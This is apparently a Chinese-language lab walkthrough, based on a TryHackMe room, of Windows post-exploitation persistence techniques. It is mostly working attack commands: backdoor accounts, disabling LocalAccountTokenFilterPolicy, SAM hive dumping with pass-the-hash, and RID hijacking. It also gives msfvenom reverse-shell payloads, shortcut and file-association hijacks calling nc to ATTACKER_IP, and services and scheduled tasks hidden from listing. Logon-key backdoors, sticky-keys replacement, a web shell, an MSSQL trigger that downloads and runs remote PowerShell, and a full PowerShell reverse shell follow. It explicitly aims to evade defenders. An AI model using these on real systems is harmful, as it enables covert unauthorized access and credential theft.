如果系统管理员或事件响应者决定查看会话日志或他们认为这是可疑的账户日志,因此他们会怀疑此已经账户被盗用,然后更改密码和终止符访问权限,因此我们为了绕过蓝队或安全防护就需要权限维持技术
WinRM(Windows 远程管理)是 WS 管理协议的 Microsoft 实现。一种基于标准 SOAP 的协议,允许来自不同供应商的硬件和操作系统进行互操作。
下载地址:
https://github.com/Hackplayers/evil-winrm
gem install rexml
gem install winrm&&gem install winrm-fs
在powershell中尝试开启Winrm服务
enable-psremoting
Impacket 是一组用于处理网络协议的 Python 类。Impacket 专注于提供对数据包和某些协议(例如 SMB1-3 和 MSRPC)协议实现本身的低级编程访问。数据包可以从头开始构建,也可以从原始数据中解析,面向对象的 API 使得使用深层协议层次结构变得简单。
下载地址:
https://github.com/fortra/impacket/releases
下载地址:
https://github.com/int0x33/nc.exe/
下载地址:
https://download.sysinternals.com/files/PSTools.zip
拥有管理员凭证是在机器中实现持久性的最简单方法。然而,为了让蓝队更难检测到我们,我们可以操纵通常不会像管理员那样受到监控的非特权用户,并以某种方式授予他们管理权限。
破解账户sam,此操作仅限于管理员
使非特权用户获得管理权限的直接方法是使其成为Administrators组的一部分。我们可以使用以下命令:这将允许您使用 RDP、WinRM 或任何其他可用的远程管理服务来访问服务器。
net localgroup administrators thmuser0 /add
不过直接添加为管理员组看起来太可疑了,我们可以使用 Remote Mangement Users组 将用户添加到远程管理用户是持久性机制的重要组成部分 你能够使用远程进行登录:远程管理用户(WinRM) 组
net localgroup "Remote Management Users" thmuser1 /add
备份操作员的特权组(Backup Operators组),该组中的用户没有管理权限,但可以读取/写入系统上的任何文件或注册表项。
net localgroup "Backup Operators" thmuser1 /add
假设我们已经将凭据转储到服务器上并拥有 thmuser1 的密码。让我们使用其凭据通过 WinRM 进行连接:
./evil-winrm.rb -i 指定ip -u 指定用户名 -p 密码
whoami /groups
这是由于用户帐户控制 (UAC)。UAC 实现的一项功能 LocalAccountTokenFilterPolicy 会在远程登录时剥夺任何本地帐户的管理权限。虽然我们可以从图形用户会话通过 UAC 提升您的权限,但如果使用的是 WinRM,将被限制在没有管理权限的有限访问令牌中。
为了能够从您的用户那里重新获得管理权限,我们必须通过将以下注册表项更改为 1 来禁用LocalAccountTokenFilterPolicy:
C:\Users\Administrator>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
一旦所有这些都设置好了,我们就可以使用我们的后门用户了
现在我们可以更进一步:可以下载系统和sam hives,来尝试破解管理哈希或其他账户哈希
reg save hklm\system system.bak # 下载系统配置单元
reg save hklm\sam sam.bak # 将system替换为sam
下载备份 SAM 和 SYSTEM 文件到我们的本地攻击机上:
donwload sam.bak
download system.bak
回到本地机器,现在我们可以使用工具 secretsdump.py 转储所有用户的密码哈希值
source venv/bin/activate
python secretsdump.py -sam sam.bak -system system.bak LOCAL
./evil-winrm.rb -i 10.10.133.32 -u Administrator -H f3118544a831e728781d780cfdb9c1fa
WARNING: Running pip as the ‘root’ user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
1.安装virtualenv工具(如果尚未安装)
pip install virtualenv
2.在项目目录创建虚拟环境
cd 你的工具目录
virtualenv venv
3.激活虚拟环境
source venv/bin/activate
4.在虚拟环境中安装你所需要的python包
pip install impacket
当你完成一个项目时,可以使用以下命令来退出虚拟环境:
deactivate
无需修改任何组成员资格即可获得与将用户添加到 Backup Operators 组类似的结果。因为特殊组之所以特殊,是因为操作系统默认为他们分配了特定的权限。
属于该组的任何用户都可以读取系统中的任何文件,所以基本上这意味着如果我们是备份特权的一部分,我们可以读取包括系统文件或在内的文件。如果我们是恢复特权的一部分,我们可以在系统中写入任何文件。
对于 Backup Operators 组,它默认分配有以下两个权限:
所以如果我们将用户添加到这些组之一或者同时添加到这两个组,我们就不用去管任何适当的自由访问控制列表,当我们成功的使用该向导登录,我们将能够在系统上执行特权操作,所以基本上这也是执行持久性的两种特权。
首先 我们将创建一个配置文件,导出系统配置
secedit /export /cfg config.inf
搜索关键字:SeBackupPrivilege 、SeRestorePrivilege 添加后门用户名字
最后将 .inf 文件转换为 .sdb 文件,然后使用该文件将配置加载回系统:
secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf
现在它拥有的特权相当于备份用户,因为 UAC 无法通过winrm登录,现在我们需要确保用户能够使用一个参数重新登录
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
为了让后门用户能使用winrm登录,因为该用户不是远程管理用户的一部分,我们将需要更改安全描述符,它是一种访问控制列表。
使用powershell执行
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
完成此操作后,我们的后门用户就可以通过 WinRM 进行连接。
现在使用winrm登录thmuser2后门用户,可以看见user2不属于任何特殊组,却拥有特殊组权限,它将看起来像普通用户。一点都不可疑!
whoami /priv
net user thmuser2
由于用户具有 SeBackup 和 SeRestore 权限,我们可以重复这些步骤从 SAM 恢复密码哈希并与管理员用户重新连接。
后面方法和前面的分配组成员一样,不再赘述了。
无需成为管理员即可获得管理权限的方法是更改某些注册表值,使操作系统认为您是管理员。
创建用户时,会为他们分配一个称为相对 ID (RID)的标识符。RID 只是一个代表整个系统用户的数字标识符。当用户登录时,LSASS 进程从 SAM 注册表配置单元获取其 RID 并创建与该 RID 关联的访问令牌。
在任何 Windows 系统中,默认的 Administrator 帐户被分配RID = 500,而普通用户通常RID >= 1000。
wmic useraccount get name,sid
如果我们可以篡改注册表值,我们可以通过将相同的 RID 关联到两个帐户,让 Windows 将管理员访问令牌分配给非特权用户。
打开注册表编辑器
regedit
给予administrators组权限控制
来到注册表编辑的位置
HKLM\SAM\SAM\Domains\Account\Users\
每个用户都有一个密钥的地方,找到你所需的后门用户十六进制对应的RID值(1010=0x3F2)
在相应的键下,会有一个名为F的值,它在位置 0x30 处保存用户的有效 RID
注意:RID 是使用小端表示法存储的,因此它的字节显示为颠倒的。比如十六进制0x3F2变为 0xF203
我们现在将用十六进制的管理员 RID (500 = 0x01F4) 替换这两个字节,切换字节 (F401):
选中字节再进行更改
当我们使用thmuser3后门用户rdp协议登录的时候,可以发现登陆的是administrator用户
创建后门是最流行的持久性技术之一,无论是在Windows还是其他系统中
任何可执行文件,则用户很可能会经常使用它。比如计算器 calc.exe,我们可以将该执行文件下载到攻击者的机器上并修改它添加我们想要的任何payload,二进制文件仍将像往常一样工作,但通过在二进制文件中添加一个额外的线程来静默执行额外的有效负载。
要创建后门的 calc.exe,我们可以使用以下命令:
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=4444 -b "\x00" -f exe -x calc.exe -o calcX.
\x00指令是空指令,为了防止shellcode报错,这里去掉\x00
虽然这种方法足以建立持久性,但是没做免杀还是不太稳定
https://www.virustotal.com/
我们可以将快捷方式的目标更改为指向将运行后门的脚本,然后正常执行通常的程序,而不是直接指向预期的可执行文件。右键查看属性
在劫持快捷方式的目标之前,让我们在任何偷偷摸摸的位置创建一个简单的 Powershell 脚本,脚本内容:
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4444"
C:\Windows\System32\calc.exe
powershell.exe -WindowStyle hidden C:\Windows\System32\a.ps1
将图标指向原始可执行文件,这样用户就不会看到任何可见的更改。
在攻击机监听4444端口
如果双击该快捷方式,应该可以连接回攻击者的计算机。同时,用户将得到一个如他们所愿的计算器。他们可能会注意到命令提示符在屏幕上闪烁并立即消失。只能希望普通用户可能不会太在意这一点。
除了通过可执行文件或快捷方式持久化之外,我们还可以劫持任何文件关联,以强制操作系统在用户打开特定文件类型时运行 shell。
regedit
默认的操作系统文件关联保存在注册表中:HKLM_LOCAL_MACHINE\Software\Classes
假设我们要检查哪个程序用于打开 .txt 文件;我们可以去检查子.txt项并找到与之关联的程序 ID (ProgID) 。ProgID 只是系统上安装的程序的标识符。对于 .txt 文件,我们将具有以下 ProgID:
然后我们可以搜索相应 ProgID 的子项(也在 下HKLM\Software\Classes\),在本例的 txtfile,我们将在其中找到对负责处理 .txt 文件的程序的引用。大多数 ProgID 条目将有一个子项,在该子项下shell\open\command 指定为具有该扩展名的文件运行的默认命令:
在这种情况下,当您尝试打开一个 .txt 文件时,系统将执行%SystemRoot%\system32\NOTEPAD.EXE %1,其中%1代表打开的文件的名称。
如果我们想劫持这个扩展,我们可以用执行后门的脚本替换命令,然后像往常一样打开文件。首先,让我们创建一个包含以下内容的 ps1 脚本并将其保存到 C:\Windows\System32\a.ps1 :
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4444"
C:\Windows\system32\NOTEPAD.EXE $args[0]
在Posershell中,我们必须传递 $args[0] 给记事本,因为他它将包含要打开的文件的名称,如通过 %1,
最后更改注册表项以在隐藏窗口中运行我们的后门脚本:
powershell.exe -WindowStyle hidden C:\Windows\System32\a.ps1
Windows 服务提供了一种建立持久性的好方法,因为它们可以配置为在受害者机器启动时在后台运行。如果可以利用服务为我们运行各种有效载荷,我们就可以在受害者每次启动时获得该主机的控制。
目前主要的两种主要方式滥用服务:创建新服务或修改现有服务以执行我们的有效负载。
Windows 服务基本上是在后台运行的可执行文件。配置服务时,可以定义将使用哪个可执行文件并选择服务是在机器启动时自动运行还是应手动启动。
使用MSF生成恶意载荷
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.14.55.65 LPORT=4444 -f exe-service -o payload.exe
攻击机开启http服务8000
然后来到受害者机器下载该恶意文件
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.14.55.65:8000/payload.exe','payload.exe')"
在终端中使用以下命令,创建自启动的后门服务
sc create THMservice binPath= "可以是恶意命令 也可以是恶意文件的所在路径" start= auto # 指定服务为自启动模式
sc start THMservice # 启动服务运行
注意:每个等号后必须有一个空格才能使命令生效。
最后返回MSF监听器,已经看到获得一个反向shell了
虽然为持久性创建后门服务效果很好,但蓝队或者安全防护软件可能会监控整个网络的新服务创建。我们可能希望重用现有服务而不是创建服务以避免检测。通常,任何禁用的服务都是一个很好的候选者,因为它可能会在用户不注意的情况下被更改。
获取可用服务的列表
sc query state=all
sc query thmservice3
sc qc thmservice 3
创建恶意的payload载荷,步骤和前面一样
重新配置“THMservice3”参数,我们可以使用以下命令:
sc config THMservice3 binPath= "恶意代码" start= auto obj= "LocalSystem"
再次查看配置信息
当服务运行的时候可以看见,恶意载荷已经在运行了
调度任务的最常见方法是使用内置的Windows 任务计划程序。任务计划程序允许精细控制任务何时开始,允许我们配置将在特定时间激活、定期重复甚至在特定系统事件发生时触发的任务。使用schtasks与任务计划程序进行交互。
schtasks命令可以参考这个
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks
现在我们创建一个任务计划程序名称为:THM-TaskBackdoor,每一分钟以System权限运行恶意的有效载荷
schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "恶意payload" /ru SYSTEM
如果受感染的用户试图列出其计划任务,我们的后门任务就会引人注目。为了进一步隐藏我们的计划任务,我们可以通过删除其安全描述符 (SD)使其对系统中的任何用户都不可见。
S代表 security 安全的意思,D代表描述符。它只是一个访问控制列表 (ACL)权限列表,用于确定谁可以访问计算机网络中的特定资源。它用于授予或拒绝对文件、文件夹、打印机和其他网络资源的访问权限。说明哪些用户可以访问计划任务。
如果 ACL 不允许您的用户查询计划任务,就将无法再看到它,因为 Windows 只会向你显示当前用户有权使用的任务。删除SD相当于禁止所有用户访问计划任务,包括管理员。
为了隐藏我们的任务,让我们删除之前创建的“THM-TaskBackdoor”任务的 SD 值。为此,我们必须打开注册表编辑器
PsExec64.exe -s -i regedit
# 权限不足时,使用此工具以SYSTEM权限打开
# -s 在系统帐户中运行远程进程 -i 启动交互式命令
所有计划任务的安全描述符都存储在这里
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\
然后右键删除该后门用户的SD值
当我们查询后门用户的时候,可以看见找不到该文件,已经完全隐藏了
用户执行的某些操作也可能绑定到执行特定有效载荷以实现持久性。Windows 操作系统提供了几种将有效负载与特定交互联系起来的方法。这些有效载荷将在用户登录系统时执行。
每个用户都有一个文件夹,我们可以在该文件夹下放置要在用户登录时运行的可执行文件。攻击者只需在其中放置有效负载即可实现持久性。
C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
请注意,每个用户将只运行其文件夹中可用的任何内容。
现在我们像往常一样生成好恶意payload,然后开始监听
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.14.55.65 LPORT=4444 -f exe -o payload.exe
python3 -m http.server
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.14.55.65:8000/payload.exe','payload.exe')"
我们退出rdp登录,重新登陆的时候就可以看见接收到来自受害者的shell了
我们还可以强制用户通过注册表在登录时执行程序。
可以使用以下注册表项来指定要在登录时运行的应用程序:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
注册表项HKCU将仅适用于当前用户,注册表项HKLM将适用于所有人。Run每次用户登录时,键下指定的任何程序都会运行。键下指定的程序RunOnce将只执行一次。
创建注册表项,名称可以任意,它值为我们要执行的后门程序
退出当前会话并再次登录时,我们的攻击机就会接收到反向shell
大概等个10秒左右
这是一个在身份验证后立即加载用户配置文件的 Windows 组件,在登录时自动启动程序的替代方法。
Winlogon 的注册表项:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
如果我们用一些反向 shell 替换任何可执行文件,我们将破坏登录序列,这是不希望的。有趣的是,我们可以附加以逗号分隔的命令,Winlogon 将处理所有这些命令。
可以更改Shell或Userinit,这里以Userinit为例子
完成此操作后,退出当前会话并再次登录,可以看到攻击机接受到shell了
加载用户配置文件时userinit.exe 是检查名为UserInitMprLogonScript。默认情况下未设置该变量,因此我们可以创建它并分配我们喜欢的任何脚本。
HKCU\Environment
如果没有设置变量名,我们可以自己添加一个
注册表项在 中没有等效项HKLM,这个后门仅适用于当前用户。退出当前会话并再次登录,会收到一个 shell
我们可以在登录屏幕后门访问终端,而无需机器的有效凭据。通常情况下比较适合物理访问机器,这里以远程登录为例子。
粘贴键通常情况下有两种启动方式
如果用快捷方式允许我们通过按SHIFT5 次来激活粘滞键。会看到如下所示的屏幕:
按 shift5 次后,Windows 将执行 C:\Windows\System32\sethc.exe。我们可以利用这种特性来替换类似的恶意文件,我们就可以用快捷方式触发它。
要覆盖sethc.exe,我们首先需要取得文件的所有权并授予我们当前用户修改它的权限。
takeown /f sethc.exe # 查看是否属于该用户组所管
icacls sethc.exe /grant Administrator:F # 修改该文件权限为Administrator用户完全控制
copy cmd.exe sethc.exe # 覆盖粘贴键
最后我们锁定会话,按五次SHIFT键,就可以看见出现了具有 System 权限的cmd控制台了
Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项:
当我们单击登录屏幕上的轻松访问按钮时,它会以 SYSTEM 权限执行
C:\Windows\System32\Utilman.exe
方法同上,不再赘述了
如果不想使用 Windows 功能来隐藏后门,我们可以使用任何运行代码的现有服务中获益。
web 服务器中实现持久化的通常方法是将 shell文件 上传到 web 目录。这很简单,将授予我们访问 IIS 中配置用户的权限,但默认情况下是 iis apppool\defaultapppool .
C:\inetpub\wwwroot
注意:如果在访问 shell 的 URL 时遇到权限被拒绝的错误,只需授予每个人对该文件的完全权限即可
icacls shell.aspx /grant Everyone:F
即使这是一个非特权用户,它也有特殊的SeImpersonatePrivilege , 提供了一种使用各种已知漏洞利用的简单方法来升级到管理员。
SeImpersonatePrivilege 提权 下载地址:
https://github.com/itm4n/PrintSpoofer/releases
复现具体可以参考这篇:
https://www.freebuf.com/articles/network/283776.html
我们打开Microsoft SQL Server Management Studio 18,使用默认值连接就好了
登录后,单击“新建查询”按钮打开查询编辑器:
运行以下SQL语句,启用MSSQL配置中的“高级选项”,然后启用xp_cmdshell.
sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO
sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO
我们必须确保任何访问该数据库的网站都可以运行xp_cmdshell。默认情况下,数据库用户sysadmin才能这样做。由于预计 Web 应用程序使用受限数据库用户,因此我们可以授予所有用户权限以模拟该sysadmin用户
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
完成所有这些之后,我们终于配置了一个触发器。我们首先切换到HDRB数据库:
USE HRDB
kali 准备好 http服务器和监听
利用触发器执行 Powershell从攻击者控制的 Web 服务器xp_cmdshell下载并运行文件。
当 插入 Employees数据表中将执行HRDB,即 .ps1 脚本
CREATE TRIGGER [sql_backdoor2]
ON HRDB.dbo.Employees
FOR INSERT AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://10.14.55.65:8000/exp.ps1'')"';
原理是利用该服务的数据表,当数据表有内容插入的时候就会执行代码
exp.ps1的脚本内容:
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
当用户插入我们指定的数据表的时候,就会成功执行我们的playload
返回攻击,可以看见接收到一个shell了
权限维持能很好的躲避很多事情,也能让我们更加轻松的操作想做的事,但是免杀很重要,在了解权限维持技术的前提下,还要学会如何制作免杀,从而达到真正的绕过且维持。
参考:
https://tryhackme.com/room/windowslocalpersistence#